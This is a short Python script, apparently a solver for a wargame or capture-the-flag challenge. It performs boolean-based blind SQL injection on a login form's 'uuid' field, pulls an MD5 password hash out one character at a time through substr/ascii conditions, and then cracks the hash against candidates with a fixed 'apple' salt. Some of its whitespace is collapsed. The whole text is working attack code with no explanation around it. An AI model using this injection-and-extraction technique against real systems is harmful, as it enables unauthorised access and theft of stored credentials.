deforacle(session, condition): injection = f"admin' and ({condition})#" response = session.post( URL, data={"uuid": injection, "pw": "probe"}, timeout=10, ) response.raise_for_status() body = response.text.lower() if TRUE_MARKER in body: returnTrue if FALSE_MARKER in body: returnFalse raise RuntimeError("response did not contain a known oracle marker")
defrecover_hash(session): digest_length = 32 hex_chars = "0123456789abcdef" result = [] for position inrange(1, digest_length + 1): for char in hex_chars: code = ord(char) condition = f"ascii(substr(pw,{position},1))={code}" if oracle(session, condition): result.append(char) break else: raise RuntimeError(f"hash character at position {position} was not found") return"".join(result)
deffind_candidate(digest, candidates): for candidate in candidates: calculated = hashlib.md5((candidate + "apple").encode("utf-8")).hexdigest() if calculated == digest: return candidate raise RuntimeError("no candidate matched the recovered digest")